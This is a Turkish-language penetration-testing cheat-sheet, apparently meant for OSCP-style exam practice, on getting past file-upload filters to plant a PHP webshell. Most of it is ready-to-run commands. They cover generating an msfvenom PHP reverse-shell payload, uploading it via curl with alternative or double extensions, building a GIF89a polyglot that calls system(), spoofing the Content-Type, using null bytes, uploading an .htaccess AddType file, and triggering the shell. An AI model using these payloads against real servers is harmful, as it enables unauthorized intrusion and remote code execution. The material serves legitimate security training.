FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE orta :80:443:8080

File Upload Bypass — Uzantı, Magic Bytes, Content-Type ve .htaccess ile Webshell

Dosya yükleme filtrelerini atlatma: uzantı varyantları (.phtml/.php5), çift uzantı, magic byte (GIF89a) ekleme, Content-Type manipülasyonu, null byte, ve .htaccess ile zararsız uzantıyı PHP olarak yürütme.

Bilgi: ÖN KOŞULLAR
  • Uygulamada dosya yükleme noktası mevcut
  • Yüklenen dosyanın eriştiği URL/dizin biliniyor veya tahmin edilebiliyor
┌──

Komutlar

msfvenom ✓ EXAM-SAFE
msfvenom -p php/reverse_php LHOST={{LHOST}} LPORT={{LPORT}} -f raw -o shell.php
PHP reverse shell payload üretme (msfvenom payload üretimi sınavda serbesttir). TJnull PWK guide / msfvenom
curl ✓ EXAM-SAFE
curl -s -F 'file=@shell.phtml' 'http://{{RHOST}}:{{RPORT}}/upload.php'
Alternatif PHP uzantısı (.phtml, .php3, .php4, .php5, .phar, .pht) ile blacklist atlatma. HackTricks — File Upload (extension bypass)
curl ✓ EXAM-SAFE
curl -s -F 'file=@shell.php.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
Çift uzantı — yanlış yapılandırılmış Apache 'shell.php.jpg' dosyasını PHP olarak çalıştırabilir. PayloadsAllTheThings — Upload Insecure Files (double extension)
bash ✓ EXAM-SAFE
printf 'GIF89a;\n<?php system($_GET["c"]); ?>' > shell.gif.php
Magic byte (GIF89a) ekleyerek içerik tabanlı (getimagesize) kontrolü atlatan polyglot oluşturma. HackTricks — File Upload (magic bytes)
curl ✓ EXAM-SAFE
curl -s -F 'file=@shell.php;type=image/jpeg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
Content-Type başlığını image/jpeg olarak sahteleyerek MIME kontrolünü atlatma. HackTricks — File Upload (Content-Type bypass)
bash ✓ EXAM-SAFE
printf 'AddType application/x-httpd-php .jpg\n' > .htaccess
.htaccess oluşturma: .jpg uzantısını PHP olarak yürütmeye zorlar — önce bu, sonra shell.jpg yüklenir. HackTricks — File Upload (.htaccess trick)
curl ✓ EXAM-SAFE
curl -s -F 'file=@.htaccess' 'http://{{RHOST}}:{{RPORT}}/upload.php' && curl -s -F 'file=@shell.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
.htaccess + image-uzantılı PHP'yi sırayla yükleme; sonra shell.jpg PHP olarak çalışır. PayloadsAllTheThings — Upload Insecure Files (.htaccess)
curl ✓ EXAM-SAFE
curl -s -F 'file=@shell.php%00.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php'
Null byte injection (eski PHP) — 'shell.php\x00.jpg' kontrolde .jpg, kayıtta .php olur. PayloadsAllTheThings — Upload Insecure Files (null byte)
curl ✓ EXAM-SAFE
curl -s 'http://{{RHOST}}:{{RPORT}}/uploads/shell.phtml?c=id'
Yüklenen webshell'i tetikleyerek komut çalıştırma — upload dizini doğrulama. HackTricks — File Upload (trigger webshell)

Filtre Tipini Anlama

Önce hangi kontrolün uygulandığı belirlenir: (1) istemci tarafı JS (Burp ile atlanır), (2) uzantı blacklist/whitelist, (3) MIME/Content-Type, (4) magic byte/içerik (getimagesize), (5) yeniden adlandırma. Genelde birden fazlası birlikte bulunur ve katman katman atlatılır.

Uzantı Atlatma

Blacklist .php’yi engelliyorsa Apache’nin yine PHP olarak yürüttüğü .phtml, .php3, .php4, .php5, .pht, .phar denenir. Büyük/küçük harf (.pHp) ve sondaki boşluk/nokta (shell.php., shell.php%20) de işe yarar. Whitelist varsa çift uzantı (shell.php.jpg) veya .htaccess yöntemine geçilir.

İçerik ve MIME Atlatma

  • Magic bytes: Dosya başına GIF89a; koyup ardından PHP eklenir; getimagesize geçer ama PHP yorumlanır.
  • Content-Type: multipart isteğinde type=image/jpeg sahtelenir (curl -F 'file=@shell.php;type=image/jpeg' veya Burp ile düzenleme).

.htaccess Tekniği

Upload dizinine yazma serbest ve AllowOverride açıksa, önce AddType application/x-httpd-php .jpg içeren bir .htaccess yüklenir; ardından .jpg uzantılı webshell yüklenip PHP olarak çalıştırılır. En güvenilir whitelist atlatma yollarından biridir.

Gotchalar

  • Yüklenen dosyanın yolu bilinmiyorsa gobuster/feroxbuster ile /uploads, /files, /images aranır; bazen yanıt yüklenen URL’i döndürür.
  • Dosya rastgele yeniden adlandırılıyorsa yanıttaki yeni isim yakalanmalı.
  • Webshell tetiklenince hemen kararlı reverse shell’e geçilir (bkz. revshells). msfvenom ile payload üretmek sınavda serbesttir; otomatik exploit modülleri değildir.
┌──

Kaynaklar

0/15 set